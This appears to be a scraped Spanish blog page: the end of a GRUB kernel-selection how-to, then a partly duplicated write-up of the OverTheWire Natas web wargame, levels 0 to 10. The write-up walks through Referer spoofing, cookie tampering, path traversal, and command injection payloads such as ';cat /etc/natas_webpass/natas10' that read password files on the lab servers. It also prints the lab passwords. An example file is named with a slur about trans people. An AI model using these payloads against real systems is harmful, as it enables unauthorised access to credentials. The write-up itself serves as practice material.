sudo update-initramfs -u -k 3.0.4-tweakEn mi caso, compile varios kernels en la misma distro y quería bootear con uno u otro según las pruebas que tenía que hacer. Para eso, tuve que configurar grub para que me de la lista de kernels al inicio. Hay varias maneras de hacer esto, pero la que me funcionó fue la de comentar las siguientes líneas en /etc/default/grub:
sudo update-grub
#GRUB_HIDDEN_TIMEOUT=0Recuerden de ejecutar "sudo update-grub" después de modificar el archivo de configuración de grub.
#GRUB_HIDDEN_TIMEOUT_QUIET=true
Otra cosa que también necesitaba era remover kernels que ya no necesitaba, eso lo podemos hacer ejecutando los siguiente comandos resaltados en amarillo:
nriva@ubuntu:~$ dpkg --list | grep linux-imageEso es todo!. Hasta pronto!.
ii linux-image-3.0.0-12-generic 3.0.0-12.20 Linux kernel image for version 3.0.0 on x86/x86_64
ii linux-image-3.0.4-tweak 3.0.4-tweak-10.00.Custom Linux kernel binary image for version 3.0.4-tweak
ii linux-image-generic 3.0.0.12.14 Generic Linux kernel image
nriva@ubuntu:~$ sudo apt-get purge linux-image-3.0.4-tweak
Referencias:
- http://askubuntu.com/questions/87409/i-cant-get-grub-menu-to-show-up-during-boot
- http://askubuntu.com/questions/41930/kernel-panic-not-syncing-vfs-unable-to-mount-root-fs-on-unknown-block0-0
- http://askubuntu.com/questions/153185/how-to-remove-kernels-from-previous-release
- http://blog.philippklaus.de/2009/08/how-to-apply-a-patch-to-sourcecode/
Etiquetas:
how-to,
linux. kernel
miércoles, 6 de marzo de 2013
natas wargame - Niveles 0-10
Quienes me conocen saben que no soy un gran amante de los retos web. Sin embargo, hace unos días me encontré con un sitio en el cual hay varios wargames y entre ellos hay uno dedicado a retos web. Comencé a jugarlo y realmente terminó gustandome.
La página en cuestión es http://www.overthewire.org/wargames/ y el wargame que estoy jugando es Natas.
Decidí escribir un write up de cada uno de los niveles que fui resolviendo. La mayoría de los retos resultan sencillos pero algunos otros hay que pensarlos un rato :)
Te dan un usr y pwd: natas0/natas0
En la página hay un mensaje que dice: "You can find the password for the next level on this page."
Mirando el source de la página se puede ver el siguiente código:
Vale aclarar que los nombres de usuario para todos los niveles son "natasX" donde X es un número incremental desde 0 a n.
El botón derecho está deshabilitado con Javascript pero si utilizamos, por ejemplo, noscript para bloquear los permisos de la web y evitar que no se ejecute el código Javascript, podemos ver el código de la página nuevamente donde tenemos el siguiente código:
El password para el siguiente nivel es: aRJMGKT6H7AOfGwllwocI2QwVyvo7dcl
Si miramos el source de la página podemos ver lo siguiente:
Tenemos un tag de "img" que está referenciando un archivo llamado pixel.png en el directorio "files". Si accedemos a:
http://natas2.natas.labs.overthewire.org/files
podemos ver un archivo llamado "users.txt" que tiene el siguiente contenido:
El password para el siguiente nivel es: lOHYKVT34rB4agsz1yPJ2QvENy7YnxUb
Mirando el source de la misma se puede ver el siguiente código:
Ese mensaje da la idea de que goole no va a poder crawlear alguna página del site que se indique en el robots.txt, tal cual dice la doc de Google:
https://developers.google.com/webmasters/control-crawl-index/docs/faq#h17
Si accedemos a http://natas3.natas.labs.overthewire.org/robots.txt podemos ver el siguiente contenido:
La directiva "Disallow" indica que directorio o página no debe crawlearse. En este caso, se está protegiendo la página o directorio "s3cr3t".
Si ingresamos a http://natas3.natas.labs.overthewire.org/s3cr3t/ vemos que hay un archivo llamado "users.txt" con el siguiente contenido:
natas4:8ywPLDUB2yY2ujFnwGUdWWp8MT4yZrqz
Al darle a "refresh page", se puede ver un mensaje similar:
De "alguna manera" sabe que venimos de un lugar diferente al que deberíamos de venir. Dice que los usuarios autorizados deben de venir de:
http://natas5.natas.labs.overthewire.org/
La manera de controlar esto es mediante el header "Referer" en el request HTTP. Utilizando, por ejemplo, LiveHTTPHeaders se puede ver el request que hacemos desde el browser y la respuesta del mismo al darle al botón "refresh page":
http://natas4.natas.labs.overthewire.org/index.php
El "Referer" en el GET a "index.php" tiene el siguiente contenido: http://natas4.natas.labs.overthewire.org/index.php pero en su lugar debería de tener "http://natas5.natas.labs.overthewire.org/". Para poder modificar el contenido de este header podemos utilizar, por ejemplo, TamperData.
Una vez modificado el referer podemos ver el siguiente contenido en la página:
Access granted. The password for natas5 is V0p12qz30HEUU22dz7CZGHiFk3VdPA9Z
"Access disallowed. You are not logged in"
Mirando el source de la página no se ve nada interesante:
Por lo tanto, el tema viene por otro lado. De alguna manera la webapp sabe que no estamos autenticados. Pero cómo?. Mirando el request HTTP se puede ver lo siguiente:
Se puede ver que esta utilizando el header "Authorization" con "Basic" y además el header "Cookie" tiene el parámetro "loggedin" en 0. Qué pasa si tampereamos el request y cambiamos el valor del header "Cookie" a 1?. Si el control de la autenticación está dado solo por un flag, deberíamos de poder ver el flag para el próximo nivel.
El tampereado efectivamente funciona y se puede observar el siguiente mensaje:
Access granted. The password for natas6 is mfPYpp1UBKKsx7g4F0LaRjhKKenYAOqU
Vemos que hay un script donde hay un IF que comprueba que lo que se envía en el POST en el parametro "secret" sea igual al contenido de la variable "$secret". Al inicio del script se puede ver la siguiente línea:
Esto hace un include en el código del file "secret.inc", es como el #define de C. Si accedemos a:
natas6.natas.labs.overthewire.org/includes/secret.inc
Podemos ver lo siguiente:
Al ingresar el valor de "$secret" en el form y darle al botón "submit", obtenemos el flag para el siguiente nivel:
Access granted. The password for natas7 is XLoIufz83MjpTrtPvP9iAtgF48EWjicU
El hint nos dice en que directorio está el flag. Además, vemos que tanto "home" como "about" se acceden mediante el parámetro "page". Esto nos hace pensar que de alguna manera debemos de llegar al directorio que el hint nos dice pero utilizando el parámetro "page". Todo parece indicar que un path traversal existen en el parámetro "page".
Si probamos algo del estilo:
tendremos el siguiente resultado:
maabkdexUStb6JJXUqmBx7Re8M61cksn
Este reto es muy similar al natas6 pero en este caso hay un paso extra antes de comparar el resultado que va en el request con el valor almacenado en la webapp. No se compara el valor directo sino que se aplica una transformación al valor almacenado en la variable "$encodedSecret" la cual es:
1. encodea el valor en base64
2. la pone en orden inverso
3. convierte el resultado de las dos operaciones anteriores en hex.
Por lo tanto, podemos aplicar las mismas operaciones en orden inverso para obtener le valor original:
1. Pasamos el valor a bin "3d3d516343746d4d6d6c315669563362" --> \x3d\x3d\x51\x63\x43\x74\x6d\x4d\x6d\x6c\x31\x56\x69\x56\x33\x62, lo cual se transforma en "==QcCtmMml1ViV3b" que es valor en base64 pero invertido.
2. Damos vuelta el valor: "b3ViV1lmMmtCcQ=="
3. Lo decodeamos usando base64 --> "b3ViV1lmMmtCcQ==".decode("base64") --> oubWYf2kBq
Al ingresar dicho valor en el form obtenemos el siguiente resultado:
Access granted. The password for natas9 is sQ6DKR8ICwqDMTd48lQlJfbF1q9B3edT
En este caso, el comando ejecutado en el passthru es "grep -i $key dictionary.txt". Esto no está del todo bien puesto que está tomando el input directamente desde el form sin hacer ningún tipo de validación sobre el mismo con lo cual es vulnerable a commando injection. Por ejemplo, podriamos ejecutar un "ls -la", simplemente colocando ";ls -la" en el form (el ; es para cortar el comando en el passthru y poner nuestra sentencia a continuación). El resultado es el siguiente:
Luego, probé de hacer cat y grep sobre el dictionary.txt para ver si lograba encontrar algo como "flag=" pero no tuve éxito. Entonces, en que file está el flag para el siguiente reto?. Recordé que en el natas7 el hint nos decia que el flag estaba en /etc/natas_webpass/natas8 entonces probé algo como: ";cat /etc/natas_webpass/natas10" y este fue el resultado:
Vemos que se utiliza preg_match http://php.net/manual/es/function.preg-match.php para matchear ciertos caracteres del request con la siguiente expresión regular: "[;|&]". En caso de que encuentre alguno de esos caracteres en el parámetro "needle" nos dirá "Input contains an illegal character!". Por lo tanto, no podemos ejecutar un comando como lo hicimos en le reto anterior utilizando ";".
Luego de algunas pruebas no pude ejecutar algo como "cat /etc/natas_webpass/natas11". Busqué en Google si existía alguna manera de bypassear esta función pero no tuve éxito. Entonces pensé que tal vez se podría hacer algo solo con el grep. grep es un comando de bash para matchear cosas en uno o más files. La sintáxis es algo como "grep LO_QUE_QUIERO_MATCHEAR EL_FILE_DONDE_QUIERO_MATCHEAR". Por ejemplo, consideremos el archivo "telefonos_de_travestis.txt":
Ahora, quiero matchear el telefono de "cacho", entonces haría algo como: "grep "cacho" telefonos_de_travestis.txt" y el resultado sería el siguiente:
Ahora, que pasa si en lugar de "cacho" queremos matchear todo el contenido del file?. En estos casos se suelen utilizar los wildcards.
Por ejemplo, podríamos ejecutar el siguiente comando: "ls -la | grep -i .txt" para matchear todos los archivos con .txt:
Este costo un poco más pero al final salió.
Hasta acá llegué por ahora, luego subiré mas write ups del resto de los niveles.
Hasta pronto.
La página en cuestión es http://www.overthewire.org/wargames/ y el wargame que estoy jugando es Natas.
Decidí escribir un write up de cada uno de los niveles que fui resolviendo. La mayoría de los retos resultan sencillos pero algunos otros hay que pensarlos un rato :)
natas0
http://natas0.natas.labs.overthewire.orgTe dan un usr y pwd: natas0/natas0
En la página hay un mensaje que dice: "You can find the password for the next level on this page."
Mirando el source de la página se puede ver el siguiente código:
<html>El password para el próximo nivel puede verse en el mismo source de la página: 9hSaVoey44Puz0fbWlHtZh5jTooLVplC
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas0</h1>
<div id="content">
You can find the password for the next level on this page.
<!--The password for natas1 is 9hSaVoey44Puz0fbWlHtZh5jTooLVplC -->
</div>
</body>
</html>
Vale aclarar que los nombres de usuario para todos los niveles son "natasX" donde X es un número incremental desde 0 a n.
natas1
En la página de este nivel se puede ver un mensaje que dice: "You can find the password for the next level on this page, but rightclicking has been blocked!"El botón derecho está deshabilitado con Javascript pero si utilizamos, por ejemplo, noscript para bloquear los permisos de la web y evitar que no se ejecute el código Javascript, podemos ver el código de la página nuevamente donde tenemos el siguiente código:
<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body oncontextmenu="javascript:alert('right clicking has been blocked!');return false;">
<h1>natas1</h1>
<div id="content">
You can find the password for the
next level on this page, but rightclicking has been blocked!
<!--The password for natas2 is aRJMGKT6H7AOfGwllwocI2QwVyvo7dcl -->
</div>
</body>
</html>
El password para el siguiente nivel es: aRJMGKT6H7AOfGwllwocI2QwVyvo7dcl
natas2
En esta página tenemos un mensaje como este: "There is nothing on this page"Si miramos el source de la página podemos ver lo siguiente:
<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas2</h1>
<div id="content">
There is nothing on this page
<img src="files/pixel.png">
</div>
</body></html>
Tenemos un tag de "img" que está referenciando un archivo llamado pixel.png en el directorio "files". Si accedemos a:
http://natas2.natas.labs.overthewire.org/files
podemos ver un archivo llamado "users.txt" que tiene el siguiente contenido:
# username:password
alice:BYNdCesZqW
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3:lOHYKVT34rB4agsz1yPJ2QvENy7YnxUb
eve:zo4mJWyNj2
mallory:9urtcpzBmH
El password para el siguiente nivel es: lOHYKVT34rB4agsz1yPJ2QvENy7YnxUb
natas3
La página tiene un mensaje como este: "There is nothing on this page"Mirando el source de la misma se puede ver el siguiente código:
<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas3</h1>
<div id="content">
There is nothing on this page
<!-- No more information leaks!! Not even Google will find it this time... -->
</div>
</body></html>
Ese mensaje da la idea de que goole no va a poder crawlear alguna página del site que se indique en el robots.txt, tal cual dice la doc de Google:
https://developers.google.com/webmasters/control-crawl-index/docs/faq#h17
Si accedemos a http://natas3.natas.labs.overthewire.org/robots.txt podemos ver el siguiente contenido:
User-agent: *
Disallow: /s3cr3t/
La directiva "Disallow" indica que directorio o página no debe crawlearse. En este caso, se está protegiendo la página o directorio "s3cr3t".
Si ingresamos a http://natas3.natas.labs.overthewire.org/s3cr3t/ vemos que hay un archivo llamado "users.txt" con el siguiente contenido:
natas4:8ywPLDUB2yY2ujFnwGUdWWp8MT4yZrqz
natas4
Al ingresar a la página se puede observar el siguiente mensaje:Access disallowed. You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"
Al darle a "refresh page", se puede ver un mensaje similar:
Access disallowed. You are visiting from "http://natas4.natas.labs.overthewire.org/index.php" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"
De "alguna manera" sabe que venimos de un lugar diferente al que deberíamos de venir. Dice que los usuarios autorizados deben de venir de:
http://natas5.natas.labs.overthewire.org/
La manera de controlar esto es mediante el header "Referer" en el request HTTP. Utilizando, por ejemplo, LiveHTTPHeaders se puede ver el request que hacemos desde el browser y la respuesta del mismo al darle al botón "refresh page":
http://natas4.natas.labs.overthewire.org/index.php
GET /index.php HTTP/1.1
Host: natas4.natas.labs.overthewire.org
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://natas4.natas.labs.overthewire.org/index.php
Authorization: Basic bmF0YXM0Ojh5d1BMRFVCMnlZMnVqRm53R1VkV1dwOE1UNHlacnF6
Connection: keep-alive
HTTP/1.1 200 OK
Date: Fri, 01 Mar 2013 01:01:33 GMT
Server: Apache
X-Powered-By: PHP/5.3.5-1ubuntu7.11
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 276
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
X-Pad: avoid browser bug
----------------------------------------------------------
El "Referer" en el GET a "index.php" tiene el siguiente contenido: http://natas4.natas.labs.overthewire.org/index.php pero en su lugar debería de tener "http://natas5.natas.labs.overthewire.org/". Para poder modificar el contenido de este header podemos utilizar, por ejemplo, TamperData.
Una vez modificado el referer podemos ver el siguiente contenido en la página:
Access granted. The password for natas5 is V0p12qz30HEUU22dz7CZGHiFk3VdPA9Z
natas5
Al entrar a la página, tenemos un mensaje que dice algo como:"Access disallowed. You are not logged in"
Mirando el source de la página no se ve nada interesante:
<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas5</h1>
<div id="content">
Access disallowed. You are not logged in</div>
</body>
</html>
Por lo tanto, el tema viene por otro lado. De alguna manera la webapp sabe que no estamos autenticados. Pero cómo?. Mirando el request HTTP se puede ver lo siguiente:
GET / HTTP/1.1
Host: natas5.natas.labs.overthewire.org
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: loggedin=0
Authorization: Basic bmF0YXM1OlYwcDEycXozMEhFVVUyMmR6N0NaR0hpRmszVmRQQTla
Connection: keep-alive
HTTP/1.1 200 OK
Date: Fri, 01 Mar 2013 01:07:10 GMT
Server: Apache
X-Powered-By: PHP/5.3.5-1ubuntu7.11
Set-Cookie: loggedin=0
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 187
Keep-Alive: timeout=15, max=96
Connection: Keep-Alive
Content-Type: text/html
----------------------------------------------------------
Se puede ver que esta utilizando el header "Authorization" con "Basic" y además el header "Cookie" tiene el parámetro "loggedin" en 0. Qué pasa si tampereamos el request y cambiamos el valor del header "Cookie" a 1?. Si el control de la autenticación está dado solo por un flag, deberíamos de poder ver el flag para el próximo nivel.
El tampereado efectivamente funciona y se puede observar el siguiente mensaje:
Access granted. The password for natas6 is mfPYpp1UBKKsx7g4F0LaRjhKKenYAOqU
natas6
En este nivel, tenemos un form que nos permite ingresar algo y un botón de submit. El source code de la página es el siguiente:<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas6</h1>
<div id="content">
<?
include "includes/secret.inc";
if(array_key_exists("submit", $_POST)) {
if($secret == $_POST['secret']) {
print "Access granted. The password for natas7 is <censored>";
} else {
print "Wrong secret";
}
}
?>
<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
Vemos que hay un script donde hay un IF que comprueba que lo que se envía en el POST en el parametro "secret" sea igual al contenido de la variable "$secret". Al inicio del script se puede ver la siguiente línea:
include "includes/secret.inc";
Esto hace un include en el código del file "secret.inc", es como el #define de C. Si accedemos a:
natas6.natas.labs.overthewire.org/includes/secret.inc
Podemos ver lo siguiente:
<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>
Al ingresar el valor de "$secret" en el form y darle al botón "submit", obtenemos el flag para el siguiente nivel:
Access granted. The password for natas7 is XLoIufz83MjpTrtPvP9iAtgF48EWjicU
natas7
El ingresar a la página del reto solo podemos ver dos links a "Home" y "About". Mirando el source de la página podemos ver lo siguiente:<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas7</h1>
<div id="content">
<a href="index.php?page=home">Home</a>
<a href="index.php?page=about">About</a>
<br>
<br>
<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->
</div>
</body>
</html>
El hint nos dice en que directorio está el flag. Además, vemos que tanto "home" como "about" se acceden mediante el parámetro "page". Esto nos hace pensar que de alguna manera debemos de llegar al directorio que el hint nos dice pero utilizando el parámetro "page". Todo parece indicar que un path traversal existen en el parámetro "page".
Si probamos algo del estilo:
http://natas7.natas.labs.overthewire.org/index.php?page=../../../../../../../../etc/natas_webpass/natas8
tendremos el siguiente resultado:
maabkdexUStb6JJXUqmBx7Re8M61cksn
natas8
En la página podemos ver un form que nos pide ingresar un "secret", un botón para submitear el valor y un link para ver el source code de la página:<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas8</h1>
<div id="content">
<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}
if(array_key_exists("submit", $_POST)) {
if(encodeSecret($_POST['secret']) == $encodedSecret) {
print "Access granted. The password for natas9 is <censored>";
} else {
print "Wrong secret";
}
}
?>
<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
Este reto es muy similar al natas6 pero en este caso hay un paso extra antes de comparar el resultado que va en el request con el valor almacenado en la webapp. No se compara el valor directo sino que se aplica una transformación al valor almacenado en la variable "$encodedSecret" la cual es:
1. encodea el valor en base64
2. la pone en orden inverso
3. convierte el resultado de las dos operaciones anteriores en hex.
Por lo tanto, podemos aplicar las mismas operaciones en orden inverso para obtener le valor original:
1. Pasamos el valor a bin "3d3d516343746d4d6d6c315669563362" --> \x3d\x3d\x51\x63\x43\x74\x6d\x4d\x6d\x6c\x31\x56\x69\x56\x33\x62, lo cual se transforma en "==QcCtmMml1ViV3b" que es valor en base64 pero invertido.
2. Damos vuelta el valor: "b3ViV1lmMmtCcQ=="
3. Lo decodeamos usando base64 --> "b3ViV1lmMmtCcQ==".decode("base64") --> oubWYf2kBq
Al ingresar dicho valor en el form obtenemos el siguiente resultado:
Access granted. The password for natas9 is sQ6DKR8ICwqDMTd48lQlJfbF1q9B3edT
natas9
Al ingresar a este nivel, vemos un form que dice lo siguiente: "Find words containing:" y permite que ingresemos algo. Al mirar el source code de la página vemos lo siguiente:<html>Vemos que toma el contenido del parámetro "needle" y se lo asigna a la variable "$key". Luego, comprueba que dicha variable no sea nula y en caso afirmativo ejecuta un passthru que según http://php.net/manual/es/function.passthru.php es parecida a exec(), es decir que podemos ejecutar un comando en el server.
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas9</h1>
<div id="content">
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>
Output:
<pre>
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
passthru("grep -i $key dictionary.txt");
}
?>
</pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
En este caso, el comando ejecutado en el passthru es "grep -i $key dictionary.txt". Esto no está del todo bien puesto que está tomando el input directamente desde el form sin hacer ningún tipo de validación sobre el mismo con lo cual es vulnerable a commando injection. Por ejemplo, podriamos ejecutar un "ls -la", simplemente colocando ";ls -la" en el form (el ; es para cortar el comando en el passthru y poner nuestra sentencia a continuación). El resultado es el siguiente:
-rw-r----- 1 natas9 natas9 460878 Sep 18 14:05 dictionary.txt
Luego, probé de hacer cat y grep sobre el dictionary.txt para ver si lograba encontrar algo como "flag=" pero no tuve éxito. Entonces, en que file está el flag para el siguiente reto?. Recordé que en el natas7 el hint nos decia que el flag estaba en /etc/natas_webpass/natas8 entonces probé algo como: ";cat /etc/natas_webpass/natas10" y este fue el resultado:
s09byvi8880wqhbnonMFMW8byCojm8eA
African
Africans
Allah
Allah's
American
Americanism
Americanism's
Americanisms
[...]
natas10
Este reto es muy similar al anterior salvo que en este caso se filtran algunos caracteres:<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas10</h1>
<div id="content">
For security reasons, we now filter on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>
Output:
<pre>
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i $key dictionary.txt");
}
}
?>
</pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
Vemos que se utiliza preg_match http://php.net/manual/es/function.preg-match.php para matchear ciertos caracteres del request con la siguiente expresión regular: "[;|&]". En caso de que encuentre alguno de esos caracteres en el parámetro "needle" nos dirá "Input contains an illegal character!". Por lo tanto, no podemos ejecutar un comando como lo hicimos en le reto anterior utilizando ";".
Luego de algunas pruebas no pude ejecutar algo como "cat /etc/natas_webpass/natas11". Busqué en Google si existía alguna manera de bypassear esta función pero no tuve éxito. Entonces pensé que tal vez se podría hacer algo solo con el grep. grep es un comando de bash para matchear cosas en uno o más files. La sintáxis es algo como "grep LO_QUE_QUIERO_MATCHEAR EL_FILE_DONDE_QUIERO_MATCHEAR". Por ejemplo, consideremos el archivo "telefonos_de_travestis.txt":
Telefonos de travas
--
cacho = 123456789
la giovanni = 98989898
zulma = 86868686
Ahora, quiero matchear el telefono de "cacho", entonces haría algo como: "grep "cacho" telefonos_de_travestis.txt" y el resultado sería el siguiente:
nriva@fastix:~/Desktop/wargames/natas$ grep "cacho" telefonos_de_travestis.txtEn este caso, se utiliza el parámetro "i" para ignorar el case, es decir, es case insensitive.
cacho = 123456789
Ahora, que pasa si en lugar de "cacho" queremos matchear todo el contenido del file?. En estos casos se suelen utilizar los wildcards.
Por ejemplo, podríamos ejecutar el siguiente comando: "ls -la | grep -i .txt" para matchear todos los archivos con .txt:
nriva@fastix:~/Desktop/wargames/natas$ ls -la | grep -i .txtAhora, haciendo algunas pruebas, me encontré con que solo con el punto ".", el grep te matchea todo el contenido de un file, por ejemplo, ejecutando el siguiente comando "nriva@fastix:~/Desktop/wargames/natas$ grep -i . telefonos_de_travestis.txt" me arroja el siguiente resultado:
-rw-rw-r-- 1 nriva nriva 16261 Mar 1 22:10 natas_notas.txt
-rw-rw-r-- 1 nriva nriva 15263 Mar 1 22:03 natas_notas.txt~
-rw-rw-r-- 1 nriva nriva 82 Mar 1 22:08 telefonos_de_travestis.txt
nriva@fastix:~/Desktop/wargames/natas$ grep -i . telefonos_de_travestis.txtPor lo tanto, podríamos probar de ejecutar algo como ". /etc/natas_webpass/natas11" y ver cual es el output:
Telefonos de travas
--
cacho = 123456789
la giovanni = 98989898
zulma = 86868686
nriva@fastix:~/Desktop/wargames/natas$
/etc/natas_webpass/natas11:SUIRtXqbB3tWzTOgTAX2t8UfMbYKrgp6Bingo!. Vemos que nos matchea todo el contenido de los files que hay en "etc/natas_webpass/natas11" además del dictionary.txt.
dictionary.txt:African
dictionary.txt:Africans
dictionary.txt:Allah
dictionary.txt:Allah's
dictionary.txt:American
dictionary.txt:Americanism
dictionary.txt:Americanism's
dictionary.txt:Americanisms
[...]
Este costo un poco más pero al final salió.
Hasta acá llegué por ahora, luego subiré mas write ups del resto de los niveles.
Hasta pronto.